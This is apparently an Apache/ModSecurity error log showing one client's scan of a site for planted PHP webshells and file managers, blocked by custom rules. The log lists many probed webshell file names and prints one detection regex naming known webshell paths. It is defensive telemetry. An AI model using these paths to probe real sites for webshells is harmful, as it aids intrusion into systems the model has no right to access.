[Tue Mar 24 05:50:31.817304 2026] [:error] [pid 3031:tid 3091] [client 172.213.136.15:37863] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/css/index.php"] [unique_id "acG1p6JBKytnG47nuibdxwAAAE8"]
[Tue Mar 24 05:50:32.927298 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:28209] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/boutj.php"] [unique_id "acG1qAyOuILyynfcqfn3ywAAABU"]
[Tue Mar 24 05:50:43.048889 2026] [:error] [pid 64198:tid 64217] [client 172.213.136.15:28199] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/boutj.php"] [unique_id "acG1s3VzJqf6OS_oSZ3Q0QAAAVE"]
[Tue Mar 24 05:50:47.416832 2026] [:error] [pid 3031:tid 3081] [client 172.213.136.15:23818] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/boutj.php"] [unique_id "acG1t6JBKytnG47nuibd4wAAAEU"]
[Tue Mar 24 05:51:01.228870 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:34470] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "acG1xfwkUqN4GJAI5oV9CgAAARg"]
[Tue Mar 24 05:51:02.283084 2026] [:error] [pid 3137:tid 3150] [client 172.213.136.15:20863] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/04.php"] [unique_id "acG1xpdZesutm6dfYM_mYQAAAMs"]
[Tue Mar 24 05:51:03.840418 2026] [:error] [pid 38767:tid 38783] [client 172.213.136.15:25871] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xzourt.php"] [unique_id "acG1x_wkUqN4GJAI5oV9EQAAAQ0"]
[Tue Mar 24 05:51:23.565769 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:25430] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sikma.php"] [unique_id "acG125dZesutm6dfYM_mkgAAAM4"]
[Tue Mar 24 05:51:24.262800 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:31359] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sikma.php"] [unique_id "acG13PwkUqN4GJAI5oV9IAAAAQo"]
[Tue Mar 24 05:51:25.402062 2026] [:error] [pid 3031:tid 3094] [client 172.213.136.15:31339] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sikma.php"] [unique_id "acG13aJBKytnG47nuibeFwAAAFI"]
[Tue Mar 24 05:51:27.070055 2026] [:error] [pid 3032:tid 3107] [client 172.213.136.15:39147] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sikma.php"] [unique_id "acG13ya_-JXXD03-JNzJ_AAAAIQ"]
[Tue Mar 24 05:51:27.861556 2026] [:error] [pid 64198:tid 64202] [client 172.213.136.15:39116] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jjrpo.php"] [unique_id "acG133VzJqf6OS_oSZ3RZgAAAUI"]
[Tue Mar 24 05:51:29.164606 2026] [:error] [pid 64198:tid 64216] [client 172.213.136.15:38142] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jjrpo.php"] [unique_id "acG14XVzJqf6OS_oSZ3RcAAAAVA"]
[Tue Mar 24 05:51:30.050573 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:22069] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jjrpo.php"] [unique_id "acG14vwkUqN4GJAI5oV9IgAAARY"]
[Tue Mar 24 05:51:31.817389 2026] [:error] [pid 38767:tid 38784] [client 172.213.136.15:22075] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jjrpo.php"] [unique_id "acG14_wkUqN4GJAI5oV9JQAAAQ4"]
[Tue Mar 24 05:51:33.226065 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:25598] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/waw.php"] [unique_id "acG15fwkUqN4GJAI5oV9LAAAAQU"]
[Tue Mar 24 05:51:34.375551 2026] [:error] [pid 38767:tid 38791] [client 172.213.136.15:22070] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/waw.php"] [unique_id "acG15vwkUqN4GJAI5oV9LQAAARU"]
[Tue Mar 24 05:51:35.605799 2026] [:error] [pid 3031:tid 3098] [client 172.213.136.15:22022] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/waw.php"] [unique_id "acG156JBKytnG47nuibeOAAAAFY"]
[Tue Mar 24 05:51:38.403135 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:22819] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/waw.php"] [unique_id "acG16pdZesutm6dfYM_mnAAAAM8"]
[Tue Mar 24 05:51:39.101998 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:32747] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9D/wp.php"] [unique_id "acG165dZesutm6dfYM_moAAAAMA"]
[Tue Mar 24 05:51:39.818526 2026] [:error] [pid 3137:tid 3148] [client 172.213.136.15:44602] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9D/wp.php"] [unique_id "acG165dZesutm6dfYM_mpAAAAMk"]
[Tue Mar 24 05:51:41.984814 2026] [:error] [pid 3031:tid 3088] [client 172.213.136.15:22113] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9D/wp.php"] [unique_id "acG17aJBKytnG47nuibeVQAAAEw"]
[Tue Mar 24 05:51:43.042766 2026] [:error] [pid 3031:tid 3098] [client 172.213.136.15:38140] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/9D/wp.php"] [unique_id "acG176JBKytnG47nuibeWQAAAFY"]
[Tue Mar 24 05:51:44.197622 2026] [:error] [pid 3031:tid 3087] [client 172.213.136.15:40975] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "acG18KJBKytnG47nuibeYAAAAEs"]
[Tue Mar 24 05:51:45.845647 2026] [:error] [pid 64198:tid 64214] [client 172.213.136.15:22139] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "acG18XVzJqf6OS_oSZ3ReAAAAU4"]
[Tue Mar 24 05:51:47.236721 2026] [:error] [pid 3032:tid 3109] [client 172.213.136.15:42518] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "acG18ya_-JXXD03-JNzKBgAAAIY"]
[Tue Mar 24 05:51:48.231013 2026] [:error] [pid 3137:tid 3162] [client 172.213.136.15:44582] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "acG19JdZesutm6dfYM_mtQAAANc"]
[Tue Mar 24 05:51:49.496834 2026] [:error] [pid 3137:tid 3147] [client 172.213.136.15:25918] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/srx.php"] [unique_id "acG19ZdZesutm6dfYM_muAAAAMg"]
[Tue Mar 24 05:51:51.794330 2026] [:error] [pid 3032:tid 3123] [client 172.213.136.15:44567] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/srx.php"] [unique_id "acG19ya_-JXXD03-JNzKDwAAAJQ"]
[Tue Mar 24 05:51:55.673733 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:44600] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/srx.php"] [unique_id "acG1-_wkUqN4GJAI5oV9PwAAAQA"]
[Tue Mar 24 05:51:56.943867 2026] [:error] [pid 3031:tid 3078] [client 172.213.136.15:32731] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/srx.php"] [unique_id "acG1_KJBKytnG47nuibelgAAAEI"]
[Tue Mar 24 05:51:58.659675 2026] [:error] [pid 64198:tid 64222] [client 172.213.136.15:29292] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flap.php"] [unique_id "acG1_nVzJqf6OS_oSZ3RlQAAAVY"]
[Tue Mar 24 05:52:00.402804 2026] [:error] [pid 64198:tid 64215] [client 172.213.136.15:23604] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flap.php"] [unique_id "acG2AHVzJqf6OS_oSZ3RmQAAAU8"]
[Tue Mar 24 05:52:01.421952 2026] [:error] [pid 3030:tid 3058] [client 172.213.136.15:25579] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flap.php"] [unique_id "acG2AQyOuILyynfcqfn4KQAAAAk"]
[Tue Mar 24 05:52:03.640577 2026] [:error] [pid 3031:tid 3085] [client 172.213.136.15:23758] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/flap.php"] [unique_id "acG2A6JBKytnG47nuibengAAAEk"]
[Tue Mar 24 05:52:07.291606 2026] [:error] [pid 3032:tid 3118] [client 172.213.136.15:37322] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/l3gi0n.php"] [unique_id "acG2Bya_-JXXD03-JNzKHgAAAI8"]
[Tue Mar 24 05:52:09.174283 2026] [:error] [pid 64198:tid 64201] [client 172.213.136.15:23139] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/l3gi0n.php"] [unique_id "acG2CXVzJqf6OS_oSZ3RtwAAAUE"]
[Tue Mar 24 05:52:11.808282 2026] [:error] [pid 64198:tid 64203] [client 172.213.136.15:6259] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/l3gi0n.php"] [unique_id "acG2C3VzJqf6OS_oSZ3RwQAAAUM"]
[Tue Mar 24 05:52:12.926716 2026] [:error] [pid 3137:tid 3152] [client 172.213.136.15:23591] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/l3gi0n.php"] [unique_id "acG2DJdZesutm6dfYM_mxwAAAM0"]
[Tue Mar 24 05:52:14.138753 2026] [:error] [pid 3030:tid 3071] [client 172.213.136.15:6251] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/x.php"] [unique_id "acG2DgyOuILyynfcqfn4NgAAABY"]
[Tue Mar 24 05:52:14.871511 2026] [:error] [pid 64198:tid 64206] [client 172.213.136.15:23141] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/x.php"] [unique_id "acG2DnVzJqf6OS_oSZ3RyQAAAUY"]
[Tue Mar 24 05:52:16.720823 2026] [:error] [pid 64198:tid 64220] [client 172.213.136.15:28729] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/x.php"] [unique_id "acG2EHVzJqf6OS_oSZ3RygAAAVQ"]
[Tue Mar 24 05:52:19.328979 2026] [:error] [pid 3030:tid 3067] [client 172.213.136.15:21267] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/x.php"] [unique_id "acG2EwyOuILyynfcqfn4PwAAABI"]
[Tue Mar 24 05:52:20.598738 2026] [:error] [pid 64198:tid 64213] [client 172.213.136.15:31875] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc3.php"] [unique_id "acG2FHVzJqf6OS_oSZ3R1QAAAU0"]
[Tue Mar 24 05:52:21.983900 2026] [:error] [pid 64198:tid 64201] [client 172.213.136.15:39880] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cc3.php"] [unique_id "acG2FXVzJqf6OS_oSZ3R3AAAAUE"]
[Tue Mar 24 05:52:36.127739 2026] [autoindex:error] [pid 3031:tid 3097] [client 172.213.136.15:30480] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Mar 24 05:52:40.046465 2026] [:error] [pid 3031:tid 3082] [client 172.213.136.15:30480] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cc.php"] [unique_id "acG2KKJBKytnG47nuibewAAAAEY"]
[Tue Mar 24 05:52:40.974039 2026] [:error] [pid 3030:tid 3052] [client 172.213.136.15:23437] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cc.php"] [unique_id "acG2KAyOuILyynfcqfn4UgAAAAM"]
[Tue Mar 24 05:52:41.799770 2026] [:error] [pid 3137:tid 3156] [client 172.213.136.15:23453] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cc.php"] [unique_id "acG2KZdZesutm6dfYM_m8wAAANE"]
[Tue Mar 24 05:52:42.710101 2026] [:error] [pid 3137:tid 3159] [client 172.213.136.15:23663] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-cc.php"] [unique_id "acG2KpdZesutm6dfYM_m-AAAANQ"]
[Tue Mar 24 05:52:43.907814 2026] [:error] [pid 3030:tid 3060] [client 172.213.136.15:31052] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fox.php"] [unique_id "acG2KwyOuILyynfcqfn4WAAAAAs"]
[Tue Mar 24 05:52:45.213013 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:22356] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fox.php"] [unique_id "acG2LZdZesutm6dfYM_m_wAAANI"]
[Tue Mar 24 05:52:46.652161 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:23483] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fox.php"] [unique_id "acG2LpdZesutm6dfYM_nBwAAANM"]
[Tue Mar 24 05:52:48.076141 2026] [:error] [pid 3137:tid 3156] [client 172.213.136.15:6927] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fox.php"] [unique_id "acG2MJdZesutm6dfYM_nCQAAANE"]
[Tue Mar 24 05:52:49.178296 2026] [:error] [pid 64198:tid 64217] [client 172.213.136.15:35219] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pNRzcP6wtYy.php"] [unique_id "acG2MXVzJqf6OS_oSZ3R-AAAAVE"]
[Tue Mar 24 05:52:51.738136 2026] [:error] [pid 3032:tid 3121] [client 172.213.136.15:6285] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pNRzcP6wtYy.php"] [unique_id "acG2Mya_-JXXD03-JNzKVgAAAJI"]
